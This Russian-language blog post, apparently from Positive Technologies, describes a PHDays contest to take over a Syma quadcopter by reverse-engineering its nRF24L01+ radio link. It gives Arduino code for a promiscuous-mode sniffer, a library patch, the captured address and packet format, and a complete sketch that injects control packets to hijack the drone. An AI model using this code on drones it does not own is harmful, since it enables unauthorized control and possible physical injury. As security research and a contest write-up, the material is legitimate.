- PVSM.RU - https://www.pvsm.ru -
В этом году на PHDays [2] был представлен новый конкурс, где любой желающий мог перехватить управление квадрокоптером Syma X5C. Производители часто полагают, что если они используют не IP-технологии, а какой-нибудь другой беспроводной стандарт, то можно не думать о защищенности. Как будто хакеры махнут рукой, решив, что разбираться с чем-то, кроме IP, — это слишком долго, сложно и дорого.
Но на самом деле, как мы уже много раз упоминали, SDR (software-defined radio) — отличный инструмент для доступа в мир IoT, где уровень вхождения определяется уровнем добросовестности производителя IoT-решений. Однако даже не имея SDR можно творить чудеса, пусть и в ограниченном пространстве частот и протоколов.
Цель — перехватить управление дроном.
Входные данные:
Средства (выдавались желающим): Arduino Nano, nRF24L01+.
Результат — угонщик получил Syma X8C в подарок.
Так как среди желающих угнать наш дрон оказались уже подготовленные люди, имеющие в арсенале HackRF, BladeRF и другие серьезные игрушки, мы опишем два метода — SDR и непосредственно nRF24L01+.
Первым делом необходимо найти каналы, на которых работает данный пульт. Но перед этим стоит пробежаться по даташиту [5], чтобы понять, что вообще искать. Первое, что нам необходимо, это организация частот.
Теперь мы знаем, что всего имеется 126 каналов с шагом в 1 МГц. Еще полезно было бы узнать ширину канала и битрейт, на будущее.
Вообще можно все сделать и без этих знаний, ведь далеко не всегда известно, из чего состоит передатчик. Итак, запускаем сканер спектра. Мы используем UmTRX и максимально возможный для него bandwidth — 13 МГц.
Мы не стали приводить скриншоты всего спектра, но как найти подобные данные в радиоэфире — должно быть понятно. Можем увидеть, что с определенной периодичностью данные появляются на 25, 41, 57 и 73 каналах.
Несмотря на то, что даташит однозначно указывает модуляцию, в жизни у нас не всегда есть даташит к перехватываемому девайсу. Поэтому собираем простейшую схему в GNU Radio и записываем любой из найденных каналов.
Похоже, что bandwidth <= 800 КГц; согласно даташиту, это значит, что битрейт — 250 Кбит/с.
Теперь мы хотим посмотреть на записанные данные; запускаем baudline [6], в котором открываем записанный файл с правильными параметрами, — и видим нечто подобное:
Выбираем один из подсвеченных пиков и открываем окно waveform.
Вверху видим записанный сигнал; похоже, мы все сделали правильно, по переходам фазы становится очевидно, что это FSK/GFSK-модуляция.
Далее нам необходимо поставить демодулятор и немного отфильтровать лишнее.
Открываем результат, картина выглядит иначе, теперь находим темную полосу и открываем waveform.
Фактически дело сделано, высокий уровень — единица, низкий — ноль. А по таймлайну можно определить период импульса и посчитать битрейт.
В самом начале передатчик настраивается на частоту передачи и передает только несущую, затем идет преамбула, состоящая из последовательности 0 и 1, в разных чипах она может отличаться как длиной, так и содержанием, в nRF24L01+ она составляет 1 байт 0xAA или 0x55, в зависимости от старшего бита адреса, в нашем случае преамбула 0xAA. Затем идут байты адреса, в nRF24L01+ адрес может составлять от 3 до 5 байт (забегая вперед: это не совсем так).
Теперь мы знаем адрес (0xa20009890f). Для дальнейшего анализа необходимо сделать небольшую автоматизацию, например так:
На выходе получится файл, состоящий из последовательности 0 и 1:
$ hexdump -C test3.raw
Один из наших пакетов можно найти по смещению 0x5e25:
Что с этим делать дальше — каждый решит для себя сам, но необходимо подобрать длину пакета и тип используемой CRC. Мы написали утилиту, которая анализирует файл и пытается найти преамбулу, после которой пытается подсчитать CRC для разных вариантов длины payload и адреса двумя разными способами (см. даташит). У нас получилось так:
Однако позже пришло понимание, что Python годится только для анализа в офлайне, а «переваривать» данные в реальном времени с битрейтом даже 250 Кбит/с весьма проблематично, не говоря уже о более высоких скоростях. Так родилась вторая версия на C, которая работает в режиме реального времени.
Итак, имея payload, остается разобраться уже в самом протоколе Syma.
Этот способ, в отличие от описанного выше, не требует практически никаких знаний в области радио, и стоит крайне дешево (Arduino — 2 $, nRF24L01+ — 1 $ и примерно столько же на провода mini-USB и DuPont), однако требует некоторой смекалки и навыков гугления. Именно его участникам конкурса мы и предлагали повторить.
Основная проблема в том, что nrf24l01+ не имеет promiscuous режима. Однако сам модуль имеет несколько странных особенностей, первая — в даташите есть интересная вещь:
Если выставить этот регистр в «00», то адрес будет 2 байта. Далее есть еще одна интересная особенность: обычно преамбула передается и используется для того, чтобы приемник мог подстроиться под передатчик, именно для этого чаще всего в качестве преамбулы передается последовательность нулей и единиц. Вторая особенность модуля nRF24L01+: он не ищет преамбулу и никак ее не использует, он ищет адрес, который записан в качестве принимаемого. Если посмотреть на передаваемый сигнал на скриншотах выше, можно также заметить, что перед началом передачи преамбулы передатчик вещает несущую; опытным путем было выявлено, что чаще всего nRF24L01+ воспринимает ее как 0x00 (иногда как 0xFF, реже как случайный байт). Таким образом, используя эти недокументированные особенности мы можем перевести nRF24L01+ в promiscuous mode — установив длину адреса в 2 байта, а сам адрес как 0x00AA или 0x0055. В одном из вариантов мы будем получать данные, сдвинутые на 1 бит. Кроме того, можно принимать данные без проверки CRC.
Теперь у нас есть все необходимые теоретические знания. Используем библиотеку RF24 (github.com/TMRh20/RF24 [7]), хотя в ней есть недостаток: в файле RF24.cpp в функции
void RF24::setAddressWidth(uint8_t a_width){
if(a_width -= 2){
write_register(SETUP_AW,a_width%4);
addr_width = (a_width%4) + 2;
}
}
следует удалить проверку валидности:
void RF24::setAddressWidth(uint8_t a_width){
a_width -= 2;
write_register(SETUP_AW,a_width%4);
addr_width = (a_width%4) + 2;
}
Теперь пишем небольшой скетч для Arduino (данный пример для Mega, но будет работать на любой другой, нужно просто поменять CE_PIN, CSN_PIN на свои):
#include <SPI.h>
#include <nRF24L01.h>
#include <RF24.h>
#include <printf.h>
#define CE_PIN 53 /// Change it for your board
#define CSN_PIN 48 /// Change it for your board
RF24 radio(CE_PIN, CSN_PIN);
const char tohex[] = {'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'};
uint64_t pipe = 0x00AA;
byte buff[32];
byte chan=0;
byte len = 32;
byte addr_len = 2;
void set_nrf(){
radio.setDataRate(RF24_250KBPS);
radio.setCRCLength(RF24_CRC_DISABLED);
radio.setAddressWidth(addr_len);
radio.setPayloadSize(len);
radio.setChannel(chan);
radio.openReadingPipe(1, pipe);
radio.startListening();
}
void setup() {
Serial.begin(2000000);
printf_begin();
radio.begin();
set_nrf();
}
long t1 = 0;
long t2 = 0;
long tr = 0;
void loop() {
byte in;
if (Serial.available() >0) {
in = Serial.read();
if (in == 'w') {
chan+=1;
radio.setChannel(chan);
Serial.print("nSet chan: ");
Serial.print(chan);
}
if (in == 's') {
chan-=1;
radio.setChannel(chan);
Serial.print("nSet chan: ");
Serial.print(chan);
}
if (in == 'q') {
Serial.print("n");
radio.printDetails();
}
}
while (radio.available()) {
t2 = t1;
t1 = micros();
tr+=1;
radio.read(&buff, sizeof(buff) );
Serial.print("n");
Serial.print(tr);
Serial.print("tms: ");
Serial.print(millis());
Serial.print("tCh: ");
Serial.print(chan);
Serial.print("tGet data: ");
for (byte i=0; i<len;i++ ){
Serial.print(tohex[(byte)buff[i]>>4]);
Serial.print(tohex[(byte)buff[i]&0x0f]);
}
}
}
Теперь можно на серийном порте забирать готовые данные с установленного канала, смена канала осуществляется посылкой «w» и «s» в порт. Дальнейшую обработку можно производить любым удобным способом: глазами, руками, скриптами. Следует обратить внимание, что скорость порта нестандартная — 2 Мбит/c, это необходимо для того, чтобы Arduino меньше времени занималась I/O, а больше занималась делом (не забываем, что там всего лишь 16 МГц).
После нахождения канала и поимки адреса следует установить этот адрес в качестве приемного, чтобы отфильтровать данные из космоса:
uint64_t pipe = 0xa20009890fLL;
byte addr_len = 5;
Затем следует пробежаться по всем каналам и найти все, на которых проскакивает данный адрес. Немного наблюдаем за происходящим и замечаем, что 10, 11 и 12 байт меняются в зависимости от данных, а за ними идет последовательность случайных байтов — шум. Пробуем включить CRC16 (два последних байта) и сменить длину пакета до 10 байт:
byte len = 10;
radio.setCRCLength(RF24_CRC_16);
Бинго! Мы смогли подобрать все необходимые настройки nRF24L01+, которые используются данным пультом, дальше дело за разбором протокола самой Syma.
Разобрать его совсем не сложно, записав немного активности с пульта.
Остальные байты можно оставить такими же, как и перехваченные, там передаются значения регулировок нулевого положения (тримы), и несколько флагов, относящихся к работе камеры.
Осталось сформировать какой-либо валидный пакет, например заставим дрона крутиться вокруг своей оси против часовой стрелки: 92007f000040002400de
Ниже приведен скетч нашего перехватчика с PHDays, который выглядел вот так:
#include <SPI.h>
#include <nRF24L01.h>
#include <RF24.h>
#include <stdio.h>
#define CE_PIN 48
#define CSN_PIN 53
//// syma
uint8_t chan[4] = {25,41,57,73};
const char tohex[] = {'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'};
uint64_t pipe = 0xa20009890fLL;
RF24 radio(CE_PIN, CSN_PIN);
int8_t packet[10];
int joy_raw[7];
byte ch=0;
//// controls
uint8_t throttle = 0;
int8_t rudder = 0;
int8_t elevator = 0;
int8_t aileron = 0;
//// syma checksum
uint8_t checksum(){
uint8_t sum = packet[0];
for (int i=1; i < 9; i++) sum ^= packet[i];
return (sum + 0x55);
}
//// initial
void setup() {
//set nrf
radio.begin();
radio.setDataRate(RF24_250KBPS);
radio.setCRCLength(RF24_CRC_16);
radio.setPALevel(RF24_PA_MAX);
radio.setAutoAck(false);
radio.setRetries(0,0);
radio.setAddressWidth(5);
radio.openWritingPipe(pipe);
radio.setPayloadSize(10);
radio.setChannel(25);
//set joystick
pinMode(A0, INPUT);
pinMode(A1, INPUT);
pinMode(A2, INPUT);
pinMode(A3, INPUT);
pinMode(A4, INPUT);
pinMode(A5, INPUT);
pinMode(A6, INPUT);
digitalWrite(A3, HIGH);
digitalWrite(A4, HIGH);
digitalWrite(A5, HIGH);
digitalWrite(A6, HIGH);
//init default data
packet[0] = 0x00;
packet[1] = 0x00;
packet[2] = 0x00;
packet[3] = 0x00;
packet[4] = 0x00;
packet[5] = 0x40;
packet[6] = 0x00;
packet[7] = 0x21;
packet[8] = 0x00;
packet[9] = checksum();
}
void read_logitech() {
joy_raw[0] = analogRead(A0);
joy_raw[1] = analogRead(A1);
joy_raw[2] = analogRead(A2);
joy_raw[3] = !digitalRead(A3);
joy_raw[4] = !digitalRead(A4);
joy_raw[5] = !digitalRead(A6);
joy_raw[6] = !digitalRead(A5);
//little calibration
joy_raw[0] = map(joy_raw[0],150, 840, 255, 0)+10;
joy_raw[0] = constrain(joy_raw[0], 0, 254);
joy_raw[1] = map(joy_raw[1],140, 830, 0, 255);
joy_raw[1] = constrain(joy_raw[1], 0, 254);
joy_raw[2] = map(joy_raw[2],130, 720, 255, 0);
joy_raw[2] = constrain(joy_raw[2], 0, 254);
}
//// main loop
void loop() {
read_logitech();
throttle = joy_raw[2];
rudder = 64*joy_raw[4] - 64*joy_raw[5];
elevator = joy_raw[1]-127;
aileron = joy_raw[0]-127;
radio.openWritingPipe(pipe);
ch +=1;
if (ch>3) ch = 0;
radio.setChannel(chan[ch]);
packet[0] = throttle;
if (elevator < 0) packet[1] = abs(elevator) | 0x80; else packet[1] = elevator;
if (rudder < 0) packet[2] = abs(rudder) | 0x80; else packet[2] = rudder;
if (aileron < 0) packet[3] = abs(aileron) | 0x80; else packet[3] = aileron;
packet[4] = 0x00;
packet[5] = 0x40;
packet[6] = 0x00;
packet[7] = 0x21;
packet[8] = 0x00;
packet[9] = checksum();
radio.write( packet, sizeof(packet) );
}
Если нет желания разбираться с Arduino, можно собрать на этой же библиотеке программу-перехватчик на Raspberry Pi.
Готовые файлы для Raspberry — github.com/chopengauer/nrf_analyze [8].
За два дня конференции в конкурсе приняли участие полтора десятка человек. Заинтересовавшихся было гораздо больше, но многие, узнав, что ломать нужно не Wi-Fi, разочарованно уходили. Многие боятся браться за что-то новое и непонятное, на этом и держится защищенность современного интернета вещей.
Среди участников были те, кто уже строил свои беспроводные сети на nRF24L01+, и те, кто их видел в первый раз.
Уже в середине первого дня один из участников произвел первые попытки воздействия на дрон методом записи сигнала пульта с последующим его воспроизведением, используя SDR (replay-атака). Однако дрон от этого лишь слегка дергался как от помехи. Эта атака бесполезна по причине того, что дрон использует 4 канала с разницей между верхним и нижним в 48 МГц, и воздействия по одному каналу недостаточно для угона.
Уже к вечеру первого дня один из участников обладал всеми необходимыми знаниями об особенностях модуля (двухбайтный адрес 0x00aa) и пытался отсканировать адрес нашего пульта, но проблема была в том, что ему попался даташит от устаревшей версии чипа nRF24L01 (без +), который не поддерживает используемый нашим дроном битрейт 250 Кбит/с. А еще он отказался использовать готовые библиотеки для работы с модулем и работал напрямую с его регистрами. Только хардкор! Ломаем ноги только об свои велосипеды ;)
Победителем конкурса стал Глеб Чербов, которому удалось полностью перехватить управление дроном к 16 часам второго дня. Остальным участникам не удалось перехватить адрес устройства.
Автор: Positive Technologies
Источник [9]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/programmirovanie/125928
Ссылки в тексте:
[1] Image: https://habrahabr.ru/company/pt/blog/302490/
[2] PHDays: http://www.phdays.ru/
[3] nRF24L01+: https://www.nordicsemi.com/eng/Products/2.4GHz-RF/nRF24L01P
[4] BK2423: http://www.inhaos.com/uploadfile/otherpic/BK2423 Datasheet v2.0.pdf
[5] даташиту: http://file:///C:/Users/ponovikov/Downloads/nRF24L01P_Product_Specification_1_0.pdf
[6] baudline: http://www.baudline.com/
[7] github.com/TMRh20/RF24: https://github.com/TMRh20/RF24
[8] github.com/chopengauer/nrf_analyze: https://github.com/chopengauer/nrf_analyze
[9] Источник: https://habrahabr.ru/post/302490/?utm_source=habrahabr&utm_medium=rss&utm_campaign=best
Нажмите здесь для печати.